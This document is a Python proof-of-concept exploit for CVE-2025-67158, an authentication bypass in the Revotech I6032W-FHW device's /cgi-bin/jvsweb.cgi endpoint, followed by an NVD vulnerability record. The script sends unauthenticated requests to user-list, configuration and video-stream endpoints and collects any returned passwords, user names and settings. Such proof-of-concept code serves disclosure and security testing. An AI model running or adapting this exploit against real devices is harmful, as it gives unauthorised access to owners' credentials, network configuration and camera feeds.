CVE-2025-67158

import requests # CVE-2025-67158 PoC - Authentication Bypass in Revotech I6032W-FHW # Target: /cgi-bin/jvsweb.cgi endpoint # Vulnerability: Authentication bypass allowing unauthorized access def exploit_cve_2025_67158(target_ip, target_port=80): """ Exploit for CVE-2025-67158 - Revotech I6032W-FHW Authentication Bypass Args: target_ip: Target device IP address target_port: Target web service port (default: 80) Returns: dict: Exploitation result with sensitive data if successful """ base_url = f"http://{target_ip}:{target_port}" results = { 'vulnerable': False, 'sensitive_data': [], 'error': None } # Endpoints to test for authentication bypass endpoints = [ "/cgi-bin/jvsweb.cgi?func=sys.userlist", "/cgi-bin/jvsweb.cgi?func=sys.config", "/cgi-bin/jvsweb.cgi?func=net.config", "/cgi-bin/jvsweb.cgi?func=video.stream" ] try: for endpoint in endpoints: url = base_url + endpoint # Send crafted request without authentication response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: # Check if sensitive information is returned if any(keyword in response.text.lower() for keyword in ['password', 'user', 'admin', 'config', 'serial']): results['vulnerable'] = True results['sensitive_data'].append({ 'endpoint': endpoint, 'data': response.text[:500] }) except requests.exceptions.RequestException as e: results['error'] = str(e) return results if __name__ == "__main__": # Example usage target = "192.168.1.100" result = exploit_cve_2025_67158(target) print(f"Vulnerable: {result['vulnerable']}") if result['sensitive_data']: print(f"Found {len(result['sensitive_data'])} sensitive endpoints")

{"cve": {"id": "CVE-2025-67158", "sourceIdentifier": "[email protected]", "published": "2026-01-02T17:16:23.310", "lastModified": "2026-01-30T01:44:59.747", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An authentication bypass in the /cgi-bin/jvsweb.cgi endpoint of Revotech I6032W-FHW v1.0.0014 - 20210517 allows attackers to access sensitive information and escalate privileges via a crafted HTTP request."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:revotech:i6032w-fhw_firmware:1.0.0014:*:*:*:*:*:*:*", "matchCriteriaId": "DB639C96-AB93-4F49-AEE4-03D028B19E3F"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:revotech:i6032w-fhw:-:*:*:*:*:*:*:*", "matchCriteriaId": "2FD3F5CD-225D-4C54-9459-FE7329A34DF5"}]}]}], "references": [{"url": "http://revotech.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/Remenis/CVE-2025-67158", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}